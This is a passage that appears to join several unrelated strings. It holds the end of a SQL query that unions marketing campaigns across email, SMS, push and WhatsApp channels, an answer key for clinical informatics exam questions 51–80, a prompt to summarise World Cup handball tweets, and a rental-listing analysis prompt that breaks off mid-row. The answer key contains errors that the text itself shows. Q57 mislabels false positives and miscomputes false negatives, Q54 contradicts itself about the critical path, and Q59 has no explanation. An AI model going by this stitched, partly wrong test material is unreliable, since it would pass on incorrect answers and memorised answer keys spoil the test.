JOIN `custom\\_email\\_split\\_master` `cesm` ON `campaign`.`splitid` = `cesm`.`splitid` and `old\\_flag` = 0 WHERE (( campaign.old\\_flag =0 and `campaign`.`splitid` >0 and campaign.id=(select id from phplist\\_message where splitid = `campaign`.`splitid` and `old\\_flag` = 0 order by id limit 1)) or (`campaign`.`old\\_flag` = 1 and `campaign`.`splitid` >0 and campaign.id=(select id from phplist\\_message where splitid = `campaign`.`splitid` and `old\\_flag` = 1 order by id limit 1)) or (`campaign`.`splitid` =0 or `campaign`.`splitid` is null or `campaign`.`splitid` = "" ) ) AND `campaign`.`status` != \'deleted\' AND ((campaign.automation\\_id is null or `campaign`.`automation\\_id` =0) and `campaign`.`status` != \'0\') union all SELECT DISTINCT `campaign`.`id`, 0 as `adhocsegid`, `campaign`.`name`, 0 as `splitid`, `campaign`.`publish\\_time` as `publish\\_time`, `campaign`.`updated\\_date`, 1 as `old\\_flag`, case when campaign.status = 6 or campaign.status =\'1\' or campaign.status = \'0\' then \'draft\' when campaign.status =\'2\' and campaign.scheduled = \'1\' then \'scheduled\' when campaign.status = \'3\' then \'sent\' when campaign.status = \'4\' then \'failed\' when campaign.status = \'5\' then \'running\' when campaign.status = \'7\' then \'suspended\' else campaign.status end as status, \'sms\' as channel\\_name, \'\' as schedule\\_tz, case when campaign.setlimit > 1 then \'limit\' else \'regular\' end as campaign\\_type, \'\' as from\\_email, \'\' as subject, `campaign`.`created\\_date` as `created\\_at`, `campaign`.`updated\\_date` as `modified\\_at`, `campaign`.`sent` as `sent\\_date`, `mcd`.`activity\\_id`, `mcd`.`revenue\\_param`, `campaign`.`processed`, NULL AS message\\_type, NULL AS size, NULL AS winnerid, NULL AS split\\_type, NULL AS ostype, NULL AS content, NULL AS advanced\\_options, NULL AS siteid FROM `papi\\_smsmessage` `campaign` LEFT JOIN `message\\_conversion\\_definition` `mcd` ON `campaign`.`id` = `mcd`.`msgid` and `mcd`.`mediumid`=2 WHERE (`campaign`.`automation\\_id` is null or `campaign`.`automation\\_id` =0) AND `campaign`.`status` <> 8 union all SELECT DISTINCT `campaign`.`id`, `campaign`.`adhocsegid`, `campaign`.`name`, `campaign`.`splitid`, `campaign`.`publish\\_time`, `campaign`.`updated\\_date`, 0 as `old\\_flag`, case when ((cesm.splitid is null and (campaign.status =\'1\' or campaign.status=\'0\')) or (cesm.splitid is not null and (cesm.status =\'1\' or cesm.status=\'0\'))) then \'draft\' when campaign.scheduled = 1 and ((cesm.splitid is null and campaign.status =\'2\') or (cesm.splitid is not null and cesm.status =\'2\')) then \'scheduled\' when campaign.scheduled = 0 and ((cesm.splitid is null and campaign.status =\'2\') or (cesm.splitid is not null and cesm.status =\'2\')) then \'running\' when ((cesm.splitid is null and campaign.status =\'3\') or (cesm.splitid is not null and cesm.status =\'3\')) then \'sent\' when ((cesm.splitid is null and campaign.status =\'4\') or (cesm.splitid is not null and cesm.status =\'4\')) then \'failed\' when ((cesm.splitid is null and campaign.status =\'5\') or (cesm.splitid is not null and cesm.status =\'5\')) then \'running\' when ((cesm.splitid is null and campaign.status =\'7\') or (cesm.splitid is not null and cesm.status =\'7\')) then \'suspended\' when ((cesm.splitid is null and campaign.status =\'10\') or (cesm.splitid is not null and cesm.status =\'10\')) then \'scheduled\' when (cesm.splitid is not null) then cesm.status else campaign.status end as status, \'apn\' as channel\\_name, \'\' as schedule\\_tz, case when campaign.campaign\\_type = \'3\' or campaign.campaign\\_type = \'multi\' then \'multimessage\' when cesm.split\\_type = \'sto\' then \'sto\' when cesm.split\\_type = \'s\' then \'split\' when cesm.split\\_type = \'a\' then \'split\\_ab\' else \'regular\' end as campaign\\_type, \'\' as from\\_email, NULL as subject, `campaign`.`created\\_date` as `created\\_at`, `campaign`.`updated\\_date` as `modified\\_at`, \'\' as sent\\_date, `mcd`.`activity\\_id`, `mcd`.`revenue\\_param`, `campaign`.`processed`, campaign.msgtype AS message\\_type, NULL AS size, cesm.winnerid, cesm.split\\_type, campaign.ostype, campaign.content, NULL AS advanced\\_options, NULL AS siteid FROM `push\\_message` `campaign` LEFT JOIN `message\\_conversion\\_definition` `mcd` ON `campaign`.`id` = `mcd`.`msgid` and `mcd`.`mediumid`=4 LEFT JOIN `custom\\_apn\\_split\\_master` `cesm` ON `campaign`.`splitid` = `cesm`.`splitid` WHERE `campaign`.`parentid` = 1 AND (`campaign`.`automation\\_id` is null or `campaign`.`automation\\_id` =0) union all SELECT DISTINCT `campaign`.`id`, 0 as `adhocsegid`, `campaign`.`name`, `campaign`.`splitid`, `campaign`.`publish\\_time`, `campaign`.`updated\\_date`, 0 as `old\\_flag`, case when ((cesm.splitid is null and (campaign.status =\'1\' or campaign.status=\'0\')) or (cesm.splitid is not null and (cesm.status =\'1\' or cesm.status=\'0\'))) then \'draft\' when campaign.scheduled = 1 and ((cesm.splitid is null and campaign.status =\'2\') or (cesm.splitid is not null and cesm.status =\'2\')) then \'scheduled\' when campaign.scheduled = 0 and ((cesm.splitid is null and campaign.status =\'2\') or (cesm.splitid is not null and cesm.status =\'2\')) then \'running\' when ((cesm.splitid is null and campaign.status =\'3\') or (cesm.splitid is not null and cesm.status =\'3\')) then \'sent\' when ((cesm.splitid is null and campaign.status =\'4\') or (cesm.splitid is not null and cesm.status =\'4\')) then \'failed\' when ((cesm.splitid is null and campaign.status =\'5\') or (cesm.splitid is not null and cesm.status =\'5\')) then \'running\' when ((cesm.splitid is null and campaign.status =\'7\') or (cesm.splitid is not null and cesm.status =\'7\')) then \'suspended\' when (cesm.splitid is not null) then cesm.status else campaign.status end as status, \'bpn\' as channel\\_name, \'\' as schedule\\_tz, case when cesm.split\\_type = \'s\' then \'split\' when cesm.split\\_type = \'a\' then \'split\\_ab\' else \'regular\' end as campaign\\_type, \'\' as from\\_email, `campaign`.`webpush\\_title` as `subject`, `campaign`.`created\\_date` as `created\\_at`, `campaign`.`updated\\_date` as `modified\\_at`, \'\' as sent\\_date, `mcd`.`activity\\_id`, `mcd`.`revenue\\_param`, `campaign`.`processed`, NULL AS message\\_type, NULL AS size, cesm.winnerid, cesm.split\\_type, NULL AS ostype, NULL AS content, campaign.advanced\\_options, campaign.siteid FROM `webpush\\_message` `campaign` LEFT JOIN `message\\_conversion\\_definition` `mcd` ON `campaign`.`id` = `mcd`.`msgid` and `mcd`.`mediumid`=5 LEFT JOIN `custom\\_bpn\\_split\\_master` `cesm` ON `campaign`.`splitid` = `cesm`.`splitid` WHERE `campaign`.`parentid` = 1 AND (`campaign`.`automation\\_id` is null or `campaign`.`automation\\_id` =0) union all SELECT DISTINCT `campaign`.`campaign\\_id` as `id`, 0 as `adhocsegid`, `campaign`.`camp\\_name` as `name`, `campaign`.`splitid`, `campaign`.`schedule\\_date` as `publish\\_time`, `campaign`.`updated\\_date`, 0 as `old\\_flag`, case when ((cesm.splitid is null and (campaign.status = \'draft\')) or (cesm.splitid is not null and (cesm.status = \'1\' or cesm.status = \'0\'))) then \'draft\' when campaign.scheduled = 1 and ((cesm.splitid is null and campaign.status = \'scheduled\') or (cesm.splitid is not null and cesm.status = \'2\')) then \'scheduled\' when campaign.scheduled = 0 and ((cesm.splitid is null and campaign.status = \'scheduled\') or (cesm.splitid is not null and cesm.status = \'2\')) then \'running\' when ((cesm.splitid is null and campaign.status = \'completed\') or (cesm.splitid is not null and cesm.status = \'3\')) then \'sent\' when ((cesm.splitid is null and campaign.status = \'failed\') or (cesm.splitid is not null and cesm.status = \'4\')) then \'failed\' when ((cesm.splitid is null and campaign.status = \'inprocess\') or (cesm.splitid is not null and cesm.status = \'5\')) then \'running\' when ((cesm.splitid is null and campaign.status = \'suspended\') or (cesm.splitid is not null and cesm.status = \'7\')) then \'suspended\' when (cesm.splitid is not null) then cesm.status else campaign.status end as status, \'whatsapp\' as channel\\_name, `campaign`.`schedule\\_tz`, case when cesm.split\\_type = \'s\' then \'split\' when cesm.split\\_type = \'a\' then \'split\\_ab\' else \'regular\' end as campaign\\_type, \'\' as from\\_email, \'\' as subject, `campaign`.`created\\_date` as `created\\_at`, `campaign`.`updated\\_date` as `modified\\_at`, null activity\\_id, null as revenue\\_param, \'\' as sent\\_date, null as processed, NULL AS message\\_type, NULL AS size, cesm.winnerid, cesm.split\\_type, NULL AS ostype, NULL AS content, null as advanced\\_options, null siteid FROM `campaign\\_entity\\_master` `campaign` LEFT JOIN `campaign\\_split\\_master` `cesm` ON `campaign`.`splitid` = `cesm`.`splitid` WHERE `campaign`.`split\\_parent` = 1 AND `campaign`.`status` != \'delete\' AND (`campaign`.`automation\\_id` is null or `campaign`.`automation\\_id` =0) ) as campaign' +'51\nTHE ANSWER IS C. A research looking at secular (i.e. long term, non-cyclical) data trends does not need any access to live data. In fact, giving him access to live data causes two problems. Firstly, it will slow down the system for current patients and providers. Second, if he inadvertently modifies live data, it could impugn the integrity of the whole system. (REF: 3.5.1 - Institutional Governance)\n52\nTHE ANSWER IS C. The question stem is describing black box testing where the tester has no knowledge of the inner workings of the software. As a consequence, testers generally do not have to have technical knowledge of the development platform. Static testing refers to looking at structural elements of the code itself, and therefore requires source code access. Unit tests typically involve testing small code fragments at the module or class level. While unit tests can be black box, they tend not to be, which makes C a better answer.\xa0 (Ref 3.5.4 - Clinical information system testing)\n53\nTHE ANSWER IS C. Metadata is data about the data, and may include information about when the document was created or by whom. This information may be useful to support more complex queries. Corpus is the collection of documents being searched. An index allows for quick retrieval of information and relevancy is the property of whether or not the document meets the information need. (REF: Section 2.2.5 - Information Retrieval)\n54\nTHE ANSWER IS B. The critical path of a project is the longest path from start to completion, which defines the minimum time required to complete the project. In this diagram, the critical path includes B and E. Tasks A, C and E can each be postponed without affecting the end of the project. (REF: Section 4.4.4 Project Management Tools)\n55\nTHE ANSWER IS A. By limiting choices to one of four options, the implementer is using a controlled vocabulary. Both a taxonomy and an ontology have a hierarchical relationship among concepts, while a classification generally does not. Semantic encoding exists when the codes have meaning in relation to the concept being encoded. In this case, the numbers actually do have some correlation to the concepts. As the numbers get higher, the patient’s limitations get more severe. However, this reflects ordinality rather than semantics, which makes choice A a better answer. (REF: 3.4.5. Nomenclatures, vocabularies, and terminologies)\n56\nTHE ANSWER IS C. Early adopters and other volunteers are often selected from a user base to be “super users”. They are given additional training and are enlisted to help train other users. In general, they are not given other technical responsibilities such as setting up interfaces, maintaining passwords or assisting with security review. In this context a superuser is not the same as the system administrator in a UNIX system who has superuser privileges. (REF: Section 3.5.3 - Clinical information system implementation)\n57\nTHE ANSWER IS C. \n(Test taker’s note: There is a lot of calculation required for this question, and I doubt you’d see anything this complicated on the boards. If done correctly without a calculator, this will probably take you 3-4 minutes. Most likely, you will be given some of the information instead of having to calculate it all.)\nWe are being asked to find the positive predictive value (PPV). First, we must construct our confusion matrix. Let’s start with the 0.1 of the population with the disease. Since our sensitivity is 0.9, we know that the true positives should be 0.9 x 0.1, or 0.09. That leaves the false negatives as 0.001. Now, we calculate for the people without the disease. They make up 0.9 of the population and since the specificity is also 0.9, the number of true negatives is 0.81, leaving 0.09 false negatives.\n\xa0\nTest (+)\nTest (-)\nDisease (+)\n0.09\n0.001\nDisease (-)\n0.09\n0.81\n\xa0\nPlugging into our equation, \nPPV = \xa0= 0.09 / (0.09 + 0.09) = 0.5\n\xa0\nThis could also be solved using Bayes’ Theorem, where D is the likelihood of having the disease and T is the likelihood of a positive test. P(T|D) is the probability of having a positive test given the disease, or sensitivity. P(D) is the prevalence of disease. P(T) is the probability of having a positive test, including both true and false positives.\n\n\xa0\n\xa0(REF: Section 2.1.2 - Decision Science)\n58\nTHE ANSWER IS B. The Leapfrog Group, founded by Fortune 500 companies with AHRQ support, was created in November 2000 in response to the 1999 Institute of Medicine report “To Err is Human”. Among its many activities, it developed an evaluation tool to assess proper function of CDS in computerized physician order entry (CPOE) systems.\xa0 (REF: 2.1.3 - Application of CDS)\n59\nTHE ANSWER IS B. \xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 \u2028 (REF: Section 2.2.1 - Evidence Sources)\n\xa0\n60\nTHE ANSWER IS B. The DSM is a standard vocabulary for classifying mental disorders. (REF 3.4.1 - Standards Development)\n61\nTHE ANSWER IS D. Negotiation only requires that the two parties involved come to an agreement. In mediation, a third party mediator helps both sides find a solution, but they must agree to it. In arbitration, a third party judge settles the argument. In litigation, the legal system decides the outcome. (REF: Section 4.1.3 - Negotiation)\n62\nTHE ANSWER IS A. Promoting or recruiting internal candidates is generally less expensive than external candidates. It can be used to recognize contributions of current staff and may improve morale. External candidates bring diversity and fresh insights into the organization. (REF: 4.2.1 - Human Resources)\n63\nTHE ANSWER IS B. Several concepts are important in maintaining a safe CDS. Usability testing will identify problems with user interface as well as CDS alerts that are inappropriate or difficult to use. The basis upon which the decisions are made (the medical knowledge repository) must be kept up-to-date with new findings and new recommendations. When errors do arise, a complete audit trail is beneficial for tracing errors and for debugging. Downtime procedures are not relevant to the CDS per se, but are important to have nonetheless, as people who are acclimated to a CDS tend to trust the system to catch their errors for them. (REF: Section 2.1.6 - Quality and Safety Issues)\n64\nTHE ANSWER IS C. Pre-coordinated items in a vocabulary are those that are included explicitly. Post-coordinated items are those that are composed by the combination of pre-coordinated items. Codes, definitions and relationships are an intrinsic part of any vocabulary. (REF: 3.4.6 Ontologies and Taxonomies)\n65\nTHE ANSWER IS D. There is syntactic ambiguity if the sentence is constructed such that it could have more than one meaning. This is a challenging question because it requires that you understand that lexical ambiguity may result if there is a single word with more than one meaning. An example of lexical ambiguity is that the word bank can refer to a slope side of a river or a business establishment which lends money. An example of semantic ambiguity is: Olivia ate a salad with artichokes from New Zealand. Does this mean that the salad is from New Zealand? Are the artichokes from New Zealand? Both? (REF: 2.1.3 - Application of CDS)\n66\nTHE ANSWER IS B. A journal’s impact factor is determined by comparing the number of articles it prints with the number times those articles are cited by other journals. While the other choices tend to be characteristic of high impact factor journals, B is the best choice. (REF: 1.1.3 - Clinical Informatics Literature)\n67\nTHE ANSWER IS A. Intrinsic motivations arise from within a person and tend to relate to personal feelings of success. Extrinsic motivators involve the outside world and are usually social, monetary or regulatory (REF 4.1.6 - Motivation)\n68\nTHE ANSWER IS A. Of those listed, only a modern facility is a tangible resource. The remainder are intangible. REF: (4.5.2 – Environmental Scanning)\n69\nTHE ANSWER IS C. The Net Present Value (NPV) is the difference between the present value of cash inflows and the present value of cash outflows. The Accounting rate of return is the total profits divided by investment. The average cost for a company to borrow money is the Weighted Average Cost of Capital, WACC. (REF 4.5.5 Capital and operating budgeting)\n70\nTHE ANSWER IS D. EHRs and order sets are only tools to assist a clinician in caring for patients. The ordering physician will be held liable for any bad outcome resulting from an order set, even if it is misconfigured. It is reasonable to assume that the software author, the hospital and the creator of the order set will bear some liability, but not as much as the ordering doctor. (REF: 2.1.5 - Legal, Ethical and Regulatory Issues)\n71\nTHE ANSWER IS D. The National Council for Prescription Drug Programs (NCPDP) is a standards development organization accredited by the American National Standards Institute (ANSI) for communications with outpatient pharmacies. Inpatient pharmacy orders are typically covered by Health Level Seven (HL7) messages. The X12 committee creates standards for electronic data interchange, and the X12N subcommittee is responsible for communications with insurers. (REF: Section 3.4.3 Transaction Standards)\n72\nTHE ANSWER IS B. These are descriptions of innovativeness or eagerness to adopt new technology. (REF: Section 4.6.2 - Change Theories)\n73\nTHE ANSWER IS B. When the insurer requests information and it is returned by patient accounts, that represents a two-way conversation. The other choices are interactive, but none is truly bidirectional. For example, although the clinician need not agree with the clinical decision support system, he has no way of communicating with it. Similarly, although all research is informed by the medical literature, and researchers commonly write letters to the editors of their favorite journals, choice B is a better example of bidirectional communication. (REF: 1.2.3 - The flow of information)\n74\nTHE ANSWER IS B. Medicare Severity Diagnosis Related Groups (MSDRG) stratify patients by the severity of their disease and the expected length of time that they will remain under inpatient care. Each MSDRG is assigned a weight which determines hospital reimbursement as negotiated with individual payors. CPT is used to encode professional (i.e. physician) procedures. ICD-9 was used to record diagnoses until it was supplanted by ICD-10. The NDC is used to identify medication packages.\xa0 (REF: 3.4.5. Nomenclatures, vocabularies, and terminologies)\n75\nTHE ANSWER IS D. Interfacing is the process of setting up communication channels between information systems. In contrast, integration is when two or more systems use the same data store. In the case of two hospitals which would like to retain their respective EHRs, integration would be very difficult, if not impossible. Neither Certification nor anonymization would help this process. (REF: Section 3.1.6. Technical approaches that enable sharing data)\n76\nTHE ANSWER IS A. A mesh network connects each node to every other node. A simple point-to-point network connects two nodes to each other. (You might argue that in a 2-node network, all nodes are connected to every other node, but the question specified that there were multiple nodes). A star network contains a central hub to which all nodes connect. A star of star networks is often called a snowflake. (REF 3.1.3 - Networks)\n77\nTHE ANSWER IS D. TURF is a unified framework for EHR usability. Distributed Cognition is a theory that states that decisionmaking is not solely an individual activity, but distributed across objects, individuals, artefacts, and tools in the environment. GOMS is a cognitive model of human-computer interaction that seeks to measure complexity of tasks. A Learning Health System is an EHR which continuously incorporates new information to build a more robust and adaptive system. (REF: Section 3.2.3 - Interface design standards and design principles)\n78\nTHE ANSWER IS D. Tactical goals of project management involve making sure that a project runs within budget and schedule and otherwise meets the needs of the sponsors. Portfolio management is the process of picking which projects can be used to further the organization’s long term strategy. (REF: Section 4.4.5 Project Management – Informatics project challenges)\n79\nTHE ANSWER IS D. Interviews work well to obtain individual opinions, but are not as good in obtaining consensus. Group meetings require scheduling and skilled moderators to help alleviate complex power dynamics. (REF: Section 3.2.2 - HCI Evaluation)\n80\nTHE ANSWER IS B. In a prediction market, each member of the group is given a fixed amount of fake money with which to purchase ideas that they find most favorable. The idea with the most support wins.\xa0 (REF 4.2.3 Group Management Processes)' +'Describe as reporting live a current event in max 3 lines, what is happening right now using the following tweets, with a focus on the term "handball"\n\nsourceText Time\nHandball! Penalty kick for France!! #WorldCupFinal 17:36:26.0000000\nPenalty France handball! 17:35:51.0000000\nHandball and penalty for France 17:36:02.0000000\nHANDBALL!!! PENALTY!!!\'\'#ARGFRA #FIFAWorldCup 17:36:04.0000000\nPenalty to France. Handball 17:35:44.0000000\nHANDBALL!! PENALTY!!! #WorldCup #ArgentinaVsFrance 17:36:40.0000000\nHandball from Montiel. Penalty to France #ARGFRA 17:36:13.0000000\nHANDBALL THATS A PENALTY KICK FOR FRANCE 17:36:12.0000000\nHANDBALL!!!!! FRANCE GETS A PENALTY!!!! 17:36:15.0000000\n@FIFAWorldCup @TeamMessi now Argentina plays handball! Penalty!!!!!!!!!!!!!!!!!! 17:36:41.0000000\nHandball!!!! Penalty to France....\'\'Mbappe\'s hattrick? https://t.co/b711P9kC8Y 17:36:49.0000000\nPenalty to France for handball. 17:36:42.0000000\nPENALTY to France!! Handball in the area on an Mbappe shot and Mbappe will go or his hat-trick from the spot!! 17:36:02.0000000\nHandball called on Argentina in the penalty box!!! 17:36:03.0000000\nHandball Penalty! ????? #ARGFRA 17:36:06.0000000\nOmg it’s handball, penalty to France ???? 17:36:23.0000000\nHandball and it’s another penalty for France #ARGFRA 17:36:26.0000000\nPenalty to #FRA for handball by Montiel\'\'#ARGFRA #Qatar2022 #WorldCup 17:36:24.0000000\nOH MY GOD! A FRANCE PENALTY! HANDBALL!!! 17:36:33.0000000\nPENALTY TO FRANCE! HANDBALL ON MONTIEL! \'\'https://t.co/c3VIDlmnjp 17:36:12.0000000\nPENALTY FOR FRANCE! HANDBALL!\'\'#ArgentinaVsFrance #FIFAWorldCupFinal 17:36:09.0000000\nWtf handball. Penalty for France. Omg. 17:36:20.0000000\nOh no Issa handball Gonzalo, penalty for ???? #WorldCupFinal 17:36:36.0000000\nOmg !! Handball penalty France 17:36:37.0000000\nHANDBALL IN THE ARGENTINE BOX OG MY GOD IT\'S A PENALTY FOR FRANCE 17:36:52.0000000\nHandball penalty\'#ARGFRA 17:36:37.0000000\nNow a handball penalty. #WorldCupFinal https://t.co/o0Vy0qZxv0 17:36:32.0000000\nHANDBALL PENALTY FOR FRANCE 17:36:10.0000000\nHANDBALL AND ITS A PENALTY KICK FOR FRANCE AND MBAPPE! 17:36:47.0000000\nPenalty to France! Handball! This is absolute madness 17:36:25.0000000\nHANDBALL PENALTY FOR FRANCE!! #ARGFRA 17:36:12.0000000\nGONZALO MONTIEL HANDBALL\'\'PENALTY TO FRANCE 17:36:14.0000000\nPENALTY! Handball in the box and France can level it here. #ARG #FRA 17:36:07.0000000\nHOW IS THIS MATCH STILL GOING ON?!\'\'Handball. Penalty to France. We\'re about to witness a Mbappé hattrick. #FIFAWorldCup 17:36:47.0000000\nMontiel with the handball, PENALTY for France 17:36:51.0000000\nHandball.. Penalty for france.. 17:36:38.0000000\n@CTPhDinSports @highlghtheaven Argentina got a handball and France gets a penalty shot 17:36:46.0000000\nWHHHHAAAATTTTT?!?! A handball!!! And a penalty for France!!! The arm is up there 17:36:05.0000000\nPenalty given for handball to France!! ?? 17:36:48.0000000\nHandball, penalty for France!???? 17:36:26.0000000\nIt\'s a France penalty!! Handball given!!\'\'#ARG 3-2 #FRA \'\'#FIFAWorldCup | #Qatar2022\'\'https://t.co/UmozTF4u8i 17:36:04.0000000\nA penalty!!! for France! in the last minutes from a handball for Montiel #FIFAWorldCup 17:36:38.0000000\nHandball!!! Penalty to France! ??\'\'#ARGvsFRA\'#FIFAWorldCup2022 17:36:52.0000000\nHandball \'\'It\'s a penalty n France should be back to this game ooo ?????? 17:36:30.0000000\nHandball in the box. Penalty to France. It hit Montiel\'s elbow. Ref was right on it. #ARGFRA #FIFAWorldCup 17:36:31.0000000\nHANDBALL, PENALTY FRANCE OMDDDSSS WTF IS THIS GAME. 17:36:31.0000000\nFrance has a penalty with five minutes remaining! A handball sends them to the spot, and Mbappe will take it! 17:36:39.0000000\nanother penalty for France handball 17:36:34.0000000\nHANDBALL\'PENALTY FOE FRANCE\'ANOTHER TWISTT 17:36:56.0000000\nPenalty to France. Montiel handball - a tough one. 17:36:25.0000000\nHANDBALL ARGENTINA!! PENALTY KICK FRANCE!!! #ARGvsFRA #ArgentinaVsFrance #ARG #FRA #FIFAWorldCup #Qatar2022 17:36:17.0000000\nHANDBALL PENALTY FRANCE 17:36:29.0000000\nPENALTY TO FRANCE \'\'HANDBALL https://t.co/MWaO4tN2yQ 17:36:08.0000000\n#ArgentinaVsFrance\'#FIFAWorldCup \'Handball! France awarded penalty 17:36:35.0000000\nHandball! Penalty to France and a yellow card to Montiel! This game keeps changing! #ARGFRA \'#FIFAWorldCup | #Qatar2022 17:36:33.0000000\nHandball. Penalty for France 17:36:07.0000000\nPenalty To France for handball 17:36:52.0000000\nPENALTY!! HANDBALL FRANCE LETS GO 17:36:02.0000000\nHandball another penalty for France 17:36:02.0000000\nHANDBALL AND PENALTY FOR FRANCE 17:35:52.0000000\nPenalty for France yet again. Clear handball. This wc final refuses to end jeeez. Club football we need you ???? 17:36:42.0000000\nA PENALTY FOR FRANCE!!! HANDBALL ON MONTIEL!! #FIFAWorldCup 17:36:00.0000000\nHANDBALL ARGENTINA\'\'FRANCE HAS A PENALTY 17:35:50.0000000\nHandball! Penalty to France! 17:36:52.0000000\nHANDBALL!!! PENALTY KICK FOR FRANCE AGAIN!!! #FIFAWorldCup #ARGFRA 17:36:28.0000000\nOH NOO OH NOO HANDBALL AND PENALTY FOR FRANCE NOOOOOOO ????????\'\'SHITT LAAA MY COMMENT ONE HOUR AGO\'\'NOOOOO #FIFAWorldCup 17:36:44.0000000\nAnother penalty to France for handball! Scenes! 17:36:22.0000000\nClear penalty for France, handball, no argument. We\'ll see how Kolo Muani takes it. 17:36:28.0000000\n#WorldCupFinal \'#ArgentinaVsFrance \'\'115 \'\'penalty for France on a handball.\'\'mbappe likely to shoot again. 17:36:38.0000000' +"go through the following listing data and pick out the best listings with an explanation as to why they are likely to be successful. \n\nuse the following format in the output:\n\nListing Name:\nListing Location:\nListing Amenity List:\nListing Property Type:\nLikely Reason for Success:\nLikely Price of the Property to Purchase Versus Lease\n\nThis is the data:\n\n11498438;Clean, quiet, balcony, washer and dryer, pool view;16783105;Mike;;District 11;32.88763;-96.77053;Entire home/apt;65;10;40;44592;0.49;7;357;0\n5608008;Guest Quarters/Studio Apartment;9954289;Mark;;District 1;32.74084;-96.86823;Entire home/apt;98;4;61;44878;0.65;1;298;4\n11510807;Luxurious 3 lvl Oak Lawn/Highland Park!;37273366;City;;District 14;32.81862;-96.80791;Entire home/apt;221;2;95;44939;1.32;3;354;13\n5632405;Beautiful Bedroom w/ Private Bath;378749;Brian;;District 4;32.73462;-96.80998;Private room;60;2;39;44879;0.5;1;44;22\n11533190;Luxury 5 Star, cold A/C, wood floors, gated, pool;16783105;Mike;;District 11;32.88491;-96.77128;Entire home/apt;65;10;45;44928;0.57;7;320;8\n5692910;Blackbird Lofts;29514625;Lisa;;District 2;32.77722;-96.79086;Entire home/apt;325;5;176;44277;1.85;1;85;0\n11551096;Private Guesthouse & Pool in Dallas/Preston Hollow;60978791;Charles;;District 11;32.89721;-96.77555;Entire home/apt;123;2;68;44956;4.31;1;151;50\n5778671;Medical Professional Welcome;1294259;MsPadilla;;District 6;32.87351;-96.85159;Private room;35;5;9;43864;0.09;3;363;0\n11606945;Entire guest house in Preston Hollow;61431187;John;;District 11;32.90476;-96.80272;Entire home/apt;107;2;47;44894;0.56;1;221;3\n6017390;Blue Stone Manor; 1 Bedroom Studio;31234076;Adam;;District 14;32.8294787338956;-96.7705114558339;Entire home/apt;169;30;0;;;1;259;0\n11639642;Lower Greenville Ave. Historic Duplex;249111;Carolyn;;District 2;32.81472;-96.77283;Entire home/apt;59;30;23;44774;0.87;1;56;3\n6291070;Centrally located 3 bedroom Texas Style stay;484119371;Dre;;District 2;32.81832;-96.78003;Entire home/apt;304;1;10;44969;2.56;1;81;10\n11656994;Two bedroom. Mid Century style close to everything;49028930;Brett;;District 2;32.808;-96.81287;Entire home/apt;65;30;7;44787;0.09;8;248;2\n6488857;King Bed Spa Bath Minutes From Downtown Dallas;32135472;Jamal;;District 9;32.84383;-96.67262;Entire home/apt;176;1;4;44955;0.88;1;137;4\n11674489;Entire Duplex 'A' in Bishop Arts \\*Near Everything\\*;31101090;Lupe;;District 1;32.74945;-96.82826;Entire home/apt;66;2;243;44957;3.75;2;132;45\n14430296;Cozy Room close to Downtown Dallas & SMU;42797060;Cindy;;District 14;32.84621;-96.76757;Private room;36;30;11;43483;0.15;1;259;0\n14553499;Prime Location Cozy & Comfy;43042344;Heath;;District 2;32.796;-96.77049;Entire home/apt;77;3;223;44955;2.84;151;353;14\n11757739;Nice cozy house near Love Field;43889052;Israel;;District 2;32.84695;-96.82887;Entire home/apt;110;4;170;44865;2.02;4;198;16\n14649373;Bowser Ave Oaklawn Dallas;90964420;Rabecca;;District 14;32.81901;-96.8111;Private room;59;7;29;44522;0.37;1;0;0\n11773727;Charming Pool side Suite;62676658;Nadia;;District 12;33.00456;-96.78763;Private room;85;2;31;43761;0.37;1;257;0\n14772239;White Rock Lake Rustic Hideaway!;11668120;Marci;;District 9;32.82318;-96.71318;Private room;65;1;29;44600;0.37;2;46;0\n11883701;Private Room 2 Downtown Townhouse;9557710;Jeff;;District 2;32.77893;-96.79058;Private room;78;1;147;44911;1.82;4;3;8\n11966988;SoCozyToo Exec Suite Oaklawn/Uptown;20205060;Stan;;District 14;32.81669;-96.81073;Entire home/apt;197;2;438;44948;5.3;3;271;55\n14772930;White Rock Lake Peaceful Blue Room;11668120;Marci;;District 9;32.82248;-96.71215;Private room;65;1;75;44583;0.96;2;45;0\n12049690;Comfortable Modern Design House with Jacuzzi;64526429;Asher;;District 12;33.01158;-96.83751;Entire home/apt;204;1;278;44933;3.33;6;310;8\n14828059;Private bedroom with ensuite bathroom and garage;46546689;Melanie;;District 11;32.92532;-96.7787;Private room;50;5;1;44438;0.06;1;353;0\n14839138;803 sqft Bright Trendy Uptown Studio;53212673;Grace;;District 14;32.79658;-96.79853;Entire home/apt;526;2;3;42652;0.04;1;358;0\n12115172;Quiet Home 3 Blocks from Downtown/Uptown 1000 Mbps;5790940;Jason;;District 14;32.79571;-96.7909;Entire home/apt;157;60;57;44957;0.73;3;290;9\n14843318;Bed 3B Shared Space! Close to Downtown Dallas!;59509385;Jeremy;;District 1;32.75502;-96.81407;Shared room;24;1;176;44953;2.24;9;35;15\n12169059;Rare Gem in the Heart â\x9d¤ï¸\x8f of the City;36887133;Vernon;;District 9;32.80841;-96.71194;Entire home/apt;81;30;356;44682;4.4;2;221;3\n14843367;Bed 4B Shared Space Close to Downtown! Bottom Bunk;59509385;Jeremy;;District 1;32.75462;-96.81212;Shared room;24;1;156;44937;2;9;89;23\n14859551;Katy Trail Condo In Heart of Trendy Uptown!;41923076;Anj;;District 14;32.81617;-96.79579;Entire home/apt;130;2;245;44954;3.14;9;156;37\n12230040;5 Star Rated, Private En Suite - Central Location;53047362;Elly;;District 14;32.81819;-96.78866;Private room;77;2;57;44969;2.99;1;51;34\n14874252;Relaxed Dallas Uptown Townhome - Near SMU;47111572;Cynthia;;District 14;32.81339;-96.79517;Entire home/apt;147;2;102;44924;1.3;1;111;8\n14874622;Walkable Luxury Comfort Bishop Arts ★ Near It all;93232901;Ej;;District 1;32.7519;-96.82784;Entire home/apt;81;1;409;44962;5.32;17;315;63\n12245554;Uptown – Bright 1 bd #4, Free Fast WiFi, Parking;6063232;Joan;;District 14;32.81975;-96.79046;Entire home/apt;113;3;27;44838;0.33;11;365;2\n14886894;WINTER \\*FAMILY\\* GET AWAY-4800 SQFT ON 3/4 ACRE;35342054;Deborah;;District 14;32.815517;-96.742447;Entire home/apt;532;3;107;44899;1.37;5;36;14\n14947097;Dallas- Lakewood - On the Creek by White Rock Lake;36558634;Matt;;District 9;32.83724;-96.74616;Entire home/apt;450;60;8;44699;0.1;1;104;1\n12397251;Luxurious 3BR townhome in West Village;24649217;Van And 